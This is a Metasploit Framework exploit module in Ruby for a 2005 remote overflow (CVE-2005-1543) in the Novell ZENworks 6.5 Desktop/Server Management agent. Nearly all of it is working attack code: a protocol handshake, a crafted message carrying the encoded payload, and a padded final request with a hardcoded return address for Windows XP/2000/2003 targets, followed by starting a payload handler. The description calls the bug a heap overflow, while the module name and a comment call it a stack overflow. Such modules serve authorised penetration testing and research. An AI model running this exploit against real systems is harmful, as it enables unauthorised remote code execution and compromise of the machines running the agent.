metasploit-framework/modules/exploits/windows/novell/zenworks_desktop_agent.rb

84 lines
1.9 KiB
Ruby

require 'msf/core'
module Msf
class Exploits::Windows::Novell::ZenworksDesktopAgentOverflow < Msf::Exploit::Remote
include Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'ZENworks 6.5 Desktop/Server Management Remote Stack Overflow',
'Description' => %q{
This module exploits a heap overflow in the Novell ZENworks
Desktop Management agent. This vulnerability was discovered
by Alex Wheeler.
},
'Author' => [ 'anonymous' ],
'Version' => '$Revision$',
'References' =>
[
[ 'OSVDB', '16698'],
[ 'CVE', '2005-1543'],
[ 'BID', '13678'],
[ 'MIL', '91'],
],
'Privileged' => true,
'Payload' =>
{
'Space' => 32767,
'BadChars' => "\x00",
},
'Targets' =>
[
[
'Windows XP/2000/2003- ZENworks 6.5 Desktop/Server Agent',
{
'Platform' => 'win',
'Ret' => 0x10002e06,
},
],
],
'DisclosureDate' => 'May 19 2005',
'DefaultTarget' => 0))
end
def exploit
connect
hello = "\x00\x06\x05\x01\x10\xe6\x01\x00\x34\x5a\xf4\x77\x80\x95\xf8\x77"
print_status("Sending version identification")
sock.put(hello)
ident = sock.get_once
if (not (ident and ident.length == 16))
print_status("Failed to receive agent version identification")
return
end
print_status("Received agent version identification")
print_status("Sending client acknowledgement")
sock.put("\x00\x01")
# Stack overflow in ZenRem32.exe / ZENworks Server Management
sock.put("\x00\x06metmet\x00\x06metmet\x7f\xff" + payload.encoded + "\x00\x01")
ack = sock.get_once
sock.put("\x00\x01")
sock.put("\x00\x02")
print_status("Sending final payload")
sock.put("\x00\x24" + ("A" * 0x20) + [ target.ret ].pack('V'))
print_status("Overflow request sent, sleeping for four seconds")
sleep(4)
handler
disconnect
end
end
end